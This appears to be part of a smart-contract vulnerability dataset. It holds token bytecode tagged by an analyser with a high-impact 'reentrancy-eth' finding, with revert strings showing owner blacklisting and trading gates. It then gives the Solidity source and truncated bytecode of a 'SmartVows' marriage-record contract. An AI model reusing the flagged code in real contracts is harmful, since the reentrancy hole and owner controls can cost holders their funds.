a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c2b565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c2b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c2b565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c2b565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c2b565b60005b82811015610a72578160056000868685818110610a2357610a23611c60565b9050602002016020810190610a389190611adb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c8c565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c2b565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c2b565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611ca7565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a19565b5060006112228486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c60565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd6565b816001815181106113c1576113c1611c60565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165b565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153687611689565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115979086611728565b6001600160a01b0389166000908152600260205260409020556115b981611787565b6115c384836117d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163682826114b4565b82101561165257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167c5760405162461bcd60e51b81526004016106299190611a19565b5060006112228486611d64565b60008060008060008060008060006116a68a600c54600d546117f5565b92509250925060006116b6611491565b905060008060006116c98e87878761184a565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117358385611ca7565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611791611491565b9050600061179f838361189a565b306000908152600260205260409020549091506117bc9082611728565b30600090815260026020526040902055505050565b6006546117de90836116e6565b6006556007546117ee9082611728565b6007555050565b600080808061180f6064611809898961189a565b906114b4565b9050600061182260646118098a8961189a565b9050600061183a826118348b866116e6565b906116e6565b9992985090965090945050505050565b6000808080611859888661189a565b90506000611867888761189a565b90506000611875888861189a565b905060006118878261183486866116e6565b939b939a50919850919650505050505050565b6000826118a9575060006106af565b60006118b58385611d86565b9050826118c28583611d64565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561194f8161192f565b919050565b6000602080838503121561196757600080fd5b823567ffffffffffffffff8082111561197f57600080fd5b818501915085601f83011261199357600080fd5b8135818111156119a5576119a5611919565b8060051b604051601f19603f830116810181811085821117156119ca576119ca611919565b6040529182528482019250838101850191888311156119e857600080fd5b938501935b82851015611a0d576119fe85611944565b845293850193928501926119ed565b98975050505050505050565b600060208083528351808285015260005b81811015611a4657858101830151858201604001528201611a2a565b81811115611a58576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8157600080fd5b8235611a8c8161192f565b946020939093013593505050565b600080600060608486031215611aaf57600080fd5b8335611aba8161192f565b92506020840135611aca8161192f565b929592945050506040919091013590565b600060208284031215611aed57600080fd5b81356112e28161192f565b8035801515811461194f57600080fd5b600060208284031215611b1a57600080fd5b6112e282611af8565b600060208284031215611b3557600080fd5b5035919050565b60008060008060808587031215611b5257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8357600080fd5b833567ffffffffffffffff80821115611b9b57600080fd5b818601915086601f830112611baf57600080fd5b813581811115611bbe57600080fd5b8760208260051b8501011115611bd357600080fd5b602092830195509350611be99186019050611af8565b90509250925092565b60008060408385031215611c0557600080fd5b8235611c108161192f565b91506020830135611c208161192f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca057611ca0611c76565b5060010190565b60008219821115611cba57611cba611c76565b500190565b600082821015611cd157611cd1611c76565b500390565b600060208284031215611ce857600080fd5b81516112e28161192f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c76565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f912eb0b3e4553aff55e5a9353eb8a7e324dc10c255b0937f71c267a901f88364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,571
0x4d09401ff2d7b0e30057870752667b9b07f230da
pragma solidity ^0.4.17; //SmartVows Marriage Smart Contract for Partner 1 and Partner 2 contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Util{ function Util() public{} function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function toString(address x) internal pure returns (string) { bytes memory b = new bytes(20); for (uint i = 0; i < 20; i++) b[i] = byte(uint8(uint(x) / (2**(8*(19 - i))))); return string(b); } } contract SmartVows is Ownable, Util { // Names of marriage partners string public partner1_name; string public partner2_name; // Partners&#39; eth address address public partner1_address; address public partner2_address; // Partners Vows string public partner1_vows; string public partner2_vows; // Marriage Date string public marriageDate; //Marital Status string public maritalStatus; // Couple Image Hash bytes public coupleImageIPFShash; // Marriage License Image Hash bytes public marriageLicenceImageIPFShash; // prenup Text string public prenupAgreement; //Last Will and Testaments string public partner1_will; string public partner2_will; // Partners Signed Marriage Contract bool public partner1_signed; bool public partner2_signed; // Partners Voted to update the prenup bool public partner1_voted_update_prenup; bool public partner2_voted_update_prenup; //Partners Voted to update the marriage status bool public partner1_voted_update_marriage_status; bool public partner2_voted_update_marriage_status; // Did both partners signed the contract bool public is_signed; // Officiant string public officiant; // Witnesses string public witnesses; // Location of marriage string public location; Event[] public lifeEvents; struct Event { uint date; string name; string description; string mesg; } uint public eventcount; // Declare Life event structure event LifeEvent(string name, string description, string mesg); contractEvent[] public contractEvents; struct contractEvent { uint ce_date; string ce_description; string ce_mesg; } uint public contracteventcount; // Declare Contract event structure event ContractEvent(string ce_description, string ce_mesg); function SmartVows(string _partner1, address _partner1_address, string _partner2, address _partner2_address, string _marriageDate, string _maritalStatus, string _officiant, string _witnesses, string _location, string coupleImageIPFShash, string marriageLicenceImageIPFShash) public{ partner1_name = _partner1; partner2_name = _partner2; partner1_address=_partner1_address; partner2_address=_partner2_address; marriageDate =_marriageDate; maritalStatus = _maritalStatus; officiant=_officiant; witnesses=_witnesses; location=_location; //coupleImageIPFShash=_coupleImageIPFShash; //marriageLicenceImageIPFShash=_marriageLicenceImageIPFShash; //Record contract creation in events saveContractEvent("Blockchain marriage smart contract created","Marriage smart contract added to the blockchain"); } // Add Life event, either partner can update function addLifeEvent(string name, string description, string mesg) public{ require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address); saveLifeEvent(name, description, mesg); } function saveLifeEvent(string name, string description, string mesg) private { lifeEvents.push(Event(block.timestamp, name, description, mesg)); LifeEvent(name, description, mesg); eventcount++; } function saveContractEvent(string description, string mesg) private { contractEvents.push(contractEvent(block.timestamp, description, mesg)); ContractEvent(description, mesg); contracteventcount++; } // Update partner 1 vows only once function updatePartner1_vows(string _partner1_vows) public { require((msg.sender == owner || msg.sender == partner1_address) && (bytes(partner1_vows).length == 0)); partner1_vows = _partner1_vows; } // Update partner 2 vows only once function updatePartner2_vows(string _partner2_vows) public { require((msg.sender == owner || msg.sender == partner2_address) && (bytes(partner2_vows).length == 0)); partner2_vows = _partner2_vows; } // Update Marriage status only if both partners have previously voted to update the prenup function updateMaritalStatus(string _maritalStatus) public { require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_marriage_status == true)&&(partner2_voted_update_marriage_status == true)); saveContractEvent("Marital status updated", strConcat("Marital status changed from ", maritalStatus , " to ", _maritalStatus)); maritalStatus = _maritalStatus; partner1_voted_update_marriage_status = false; partner2_voted_update_marriage_status = false; } // Partners can sign the contract function sign() public { require(msg.sender == partner1_address || msg.sender == partner2_address); if(msg.sender == partner1_address){ partner1_signed = true; saveContractEvent("Marriage signed", "Smart Contract signed by Partner 1"); }else { partner2_signed = true; saveContractEvent("Marriage signed", "Smart Contract signed by Partner 2"); } if(partner1_signed && partner2_signed){// if both signed then make the contract as signed is_signed = true; } } //Function to vote to allow for updating marital status, both partners must vote to allow update function voteToUpdateMaritalStatus() public { if(msg.sender == partner1_address){ partner1_voted_update_marriage_status = true; saveContractEvent("Vote - Change Marital Status", "Partner 1 voted to updated Marital Status"); } if(msg.sender == partner2_address){ partner2_voted_update_marriage_status = true; saveContractEvent("Vote - Change Marital Status", "Partner 2 voted to updated Marital Status"); } } //Function to vote to allow for updating prenup, both partners must vote true to allow update function voteToUpdatePrenup() public { if(msg.sender == partner1_address){ partner1_voted_update_prenup = true; saveContractEvent("Vote - Update Prenup", "Partner 1 voted to updated Prenuptial Aggreement"); } if(msg.sender == partner2_address){ partner2_voted_update_prenup = true; saveContractEvent("Vote - Update Prenup", "Partner 2 voted to updated Prenuptial Aggreement"); } } // Update coupleImage hash, either partner can update function updateCoupleImageIPFShash(bytes _coupleImageIPFShash) public{ require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address); coupleImageIPFShash = _coupleImageIPFShash; } // Update marriage licence image hash, either partner can update function updateMarriageLicenceImageIPFShash(bytes _marriageLicenceImageIPFShash) public{ require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address); marriageLicenceImageIPFShash = _marriageLicenceImageIPFShash; } // Update prenup text, but only if both partners have previously agreed to update the prenup function updatePrenup(string _prenupAgreement) public{ require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_prenup == true)&&(partner2_voted_update_prenup == true)); prenupAgreement = _prenupAgreement; saveContractEvent("Update - Prenup", "Prenuptial Agreement Updated"); partner1_voted_update_prenup = false; partner2_voted_update_prenup = false; } // Update partner 1 will, only partner 1 can update function updatePartner1_will(string _partner1_will) public { require(msg.sender == partner1_address); partner1_will = _partner1_will; saveContractEvent("Update - Will", "Partner 1 Will Updated"); } // Update partner 2 will, only partner 2 can update function updatePartner2_will(string _partner2_will) public { require(msg.sender == partner2_address); partner2_will = _partner2_will; saveContractEvent("Update - Will", "Partner 2 Will Updated"); } }
0x606060405236156101f65763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663063cea2681146101fb5780630b6bf29f14610285578063133d27e11461029857806315d51761146102c75780631856a6df146102da5780631ea5efc4146102ed578063277942db146103145780632a11b950146103275780632ca1512214610447578063391b11ce1461045c57806346c797e2146104ad5780634d7d8a60146104fe578063516f279e1461051157806352125b861461052457806353176195146105495780636033cdc61461055c578063705bbf6b1461056f57806377790081146105c05780637ae6b76314610611578063802b1d931461066257806381f2d4ee1461067557806384b08d41146106c6578063854e85c6146106d95780638da5cb5b146108745780639b772524146108875780639e5f18891461089a578063a31f2c52146108ad578063ac12f3e9146108c0578063b53c71b6146108d3578063bb07576d146109a8578063c35740f9146109bb578063c5868754146109ce578063c6998dc2146109e1578063c7e975b814610a32578063ce4d6fdf14610a45578063ea760df814610a58578063eb2c87a414610a6b578063ec56c6b014610a7e578063f2fde38b14610a91578063f41d1a8214610ab0578063f50ab7b014610ac3575b600080fd5b341561020657600080fd5b61020e610b14565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024a578082015183820152602001610232565b50505050905090810190601f1680156102775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029057600080fd5b61020e610bb2565b34156102a357600080fd5b6102ab610c1d565b604051600160a060020a03909116815260200160405180910390f35b34156102d257600080fd5b61020e610c2c565b34156102e557600080fd5b61020e610c97565b34156102f857600080fd5b610300610d02565b604051901515815260200160405180910390f35b341561031f57600080fd5b61020e610d13565b341561033257600080fd5b61033d600435610d7e565b6040518381526060602082018181528454600260001961010060018416150201909116049183018290529060408301906080840190869080156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b50509550505050505060405180910390f35b341561045257600080fd5b61045a610dab565b005b341561046757600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f8995505050505050565b34156104b857600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ff595505050505050565b341561050957600080fd5b61020e611057565b341561051c57600080fd5b61020e6110c2565b341561052f57600080fd5b61053761112d565b60405190815260200160405180910390f35b341561055457600080fd5b61020e611133565b341561056757600080fd5b61045a61119e565b341561057a57600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061132e95505050505050565b34156105cb57600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061144495505050505050565b341561061c57600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061163c95505050505050565b341561066d57600080fd5b61020e6116de565b341561068057600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061174995505050505050565b34156106d157600080fd5b6103006117e8565b34156106e457600080fd5b6106ef6004356117f6565b604051848152608060208201818152855460026000196101006001841615020190911604918301829052906040830190606084019060a0850190889080156107785780601f1061074d57610100808354040283529160200191610778565b820191906000526020600020905b81548152906001019060200180831161075b57829003601f168201915b50508481038352865460026000196101006001841615020190911604808252602090910190879080156107ec5780601f106107c1576101008083540402835291602001916107ec565b820191906000526020600020905b8154815290600101906020018083116107cf57829003601f168201915b50508481038252855460026000196101006001841615020190911604808252602090910190869080156108605780601f1061083557610100808354040283529160200191610860565b820191906000526020600020905b81548152906001019060200180831161084357829003601f168201915b505097505050505050505060405180910390f35b341561087f57600080fd5b6102ab611828565b341561089257600080fd5b610300611837565b34156108a557600080fd5b6102ab611840565b34156108b857600080fd5b61030061184f565b34156108cb57600080fd5b61030061185f565b34156108de57600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061186e95505050505050565b34156109b357600080fd5b61045a6118cd565b34156109c657600080fd5b61020e611a55565b34156109d957600080fd5b610300611ac0565b34156109ec57600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611ad395505050505050565b3415610a3d57600080fd5b610300611b3b565b3415610a5057600080fd5b61020e611b4d565b3415610a6357600080fd5b61020e611bb8565b3415610a7657600080fd5b61020e611c23565b3415610a8957600080fd5b610537611c8e565b3415610a9c57600080fd5b61045a600160a060020a0360043516611c94565b3415610abb57600080fd5b61020e611d2f565b3415610ace57600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611d9a95505050505050565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b820191906000526020600020905b815481529060010190602001808311610b8d57829003601f168201915b505050505081565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600354600160a060020a031681565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600e54640100000000900460ff1681565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b6014805482908110610d8c57fe5b6000918252602090912060039091020180549150600181019060020183565b60035433600160a060020a0390811691161480610dd6575060045433600160a060020a039081169116145b1515610de157600080fd5b60035433600160a060020a0390811691161415610ea557600e805460ff19166001179055610ea06040805190810160405280600f81526020017f4d61727269616765207369676e65640000000000000000000000000000000000815250606060405190810160405280602281526020017f536d61727420436f6e7472616374207369676e656420627920506172746e657281526020017f2031000000000000000000000000000000000000000000000000000000000000815250611dfc565b610f4f565b600e805461ff001916610100179055610f4f6040805190810160405280600f81526020017f4d61727269616765207369676e65640000000000000000000000000000000000815250606060405190810160405280602281526020017f536d61727420436f6e7472616374207369676e656420627920506172746e657281526020017f2032000000000000000000000000000000000000000000000000000000000000815250611dfc565b600e5460ff168015610f685750600e54610100900460ff165b15610f8757600e805466ff000000000000191666010000000000001790555b565b60005433600160a060020a0390811691161480610fb4575060045433600160a060020a039081169116145b8015610fd3575060065460026000196101006001841615020190911604155b1515610fde57600080fd5b6006818051610ff192916020019061243d565b5050565b60005433600160a060020a0390811691161480611020575060035433600160a060020a039081169116145b80611039575060045433600160a060020a039081169116145b151561104457600080fd5b600a818051610ff192916020019061243d565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60135481565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60035433600160a060020a039081169116141561126557600e805464ff0000000019166401000000001790556112656040805190810160405280601c81526020017f566f7465202d204368616e6765204d61726974616c2053746174757300000000815250606060405190810160405280602981526020017f506172746e6572203120766f74656420746f2075706461746564204d6172697481526020017f616c205374617475730000000000000000000000000000000000000000000000815250611dfc565b60045433600160a060020a0390811691161415610f8757600e805465ff0000000000191665010000000000179055610f876040805190810160405280601c81526020017f566f7465202d204368616e6765204d61726974616c2053746174757300000000815250606060405190810160405280602981526020017f506172746e6572203220766f74656420746f2075706461746564204d6172697481526020017f616c205374617475730000000000000000000000000000000000000000000000815250611dfc565b60005433600160a060020a0390811691161480611359575060035433600160a060020a039081169116145b80611372575060045433600160a060020a039081169116145b801561138b5750600e5462010000900460ff1615156001145b80156113a55750600e546301000000900460ff1615156001145b15156113b057600080fd5b600b8180516113c392916020019061243d565b50611434604080519081016040908152600f82527f557064617465202d205072656e7570000000000000000000000000000000000060208301528051908101604052601c81527f5072656e75707469616c2041677265656d656e742055706461746564000000006020820152611dfc565b50600e805463ffff000019169055565b60005433600160a060020a039081169116148061146f575060035433600160a060020a039081169116145b80611488575060045433600160a060020a039081169116145b80156114a35750600e54640100000000900460ff1615156001145b80156114bf5750600e5465010000000000900460ff1615156001145b15156114ca57600080fd5b6116166040805190810160405280601681526020017f4d61726974616c207374617475732075706461746564000000000000000000008152506116116040805190810160405280601c81526020017f4d61726974616c20737461747573206368616e6765642066726f6d200000000081525060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115d25780601f106115a7576101008083540402835291602001916115d2565b820191906000526020600020905b8154815290600101906020018083116115b557829003601f168201915b505050505060408051908101604052600481527f20746f2000000000000000000000000000000000000000000000000000000000602082015286611f8a565b611dfc565b600881805161162992916020019061243d565b5050600e805465ffff0000000019169055565b60035433600160a060020a0390811691161461165757600080fd5b600c81805161166a92916020019061243d565b506116db604080519081016040908152600d82527f557064617465202d2057696c6c0000000000000000000000000000000000000060208301528051908101604052601681527f506172746e657220312057696c6c2055706461746564000000000000000000006020820152611dfc565b50565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60045433600160a060020a0390811691161461176457600080fd5b600d81805161177792916020019061243d565b506116db604080519081016040908152600d82527f557064617465202d2057696c6c0000000000000000000000000000000000000060208301528051908101604052601681527f506172746e657220322057696c6c2055706461746564000000000000000000006020820152611dfc565b600e54610100900460ff1681565b601280548290811061180457fe5b60009182526020909120600490910201805491506001810190600281019060030184565b600054600160a060020a031681565b600e5460ff1681565b600454600160a060020a031681565b600e546301000000900460ff1681565b600e5462010000900460ff1681565b60005433600160a060020a0390811691161480611899575060035433600160a060020a039081169116145b806118b2575060045433600160a060020a039081169116145b15156118bd57600080fd5b6118c8838383611fb6565b505050565b60035433600160a060020a039081169116141561199057600e805462ff00001916620100001790556119906040805190810160405280601481526020017f566f7465202d20557064617465205072656e7570000000000000000000000000815250606060405190810160405280603081526020017f506172746e6572203120766f74656420746f2075706461746564205072656e7581526020017f707469616c204167677265656d656e7400000000000000000000000000000000815250611dfc565b60045433600160a060020a0390811691161415610f8757600e805463ff00000019166301000000179055610f876040805190810160405280601481526020017f566f7465202d20557064617465205072656e7570000000000000000000000000815250606060405190810160405280603081526020017f506172746e6572203220766f74656420746f2075706461746564205072656e7581526020017f707469616c204167677265656d656e7400000000000000000000000000000000815250611dfc565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600e546601000000000000900460ff1681565b60005433600160a060020a0390811691161480611afe575060035433600160a060020a039081169116145b8015611b1d575060055460026000196101006001841615020190911604155b1515611b2857600080fd5b6005818051610ff192916020019061243d565b600e5465010000000000900460ff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60155481565b60005433600160a060020a03908116911614611caf57600080fd5b600160a060020a0381161515611cc457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60005433600160a060020a0390811691161480611dc5575060035433600160a060020a039081169116145b80611dde575060045433600160a060020a039081169116145b1515611de957600080fd5b6009818051610ff192916020019061243d565b6014805460018101611e0e83826124bb565b916000526020600020906003020160006060604051908101604090815242825260208201879052810185905291905081518155602082015181600101908051611e5b92916020019061243d565b50604082015181600201908051611e7692916020019061243d565b505050507fae56b0614107bf954efff11d443ef9b9432505024bad7d3a4d33bcc3cc5dcdd78282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015611ede578082015183820152602001611ec6565b5050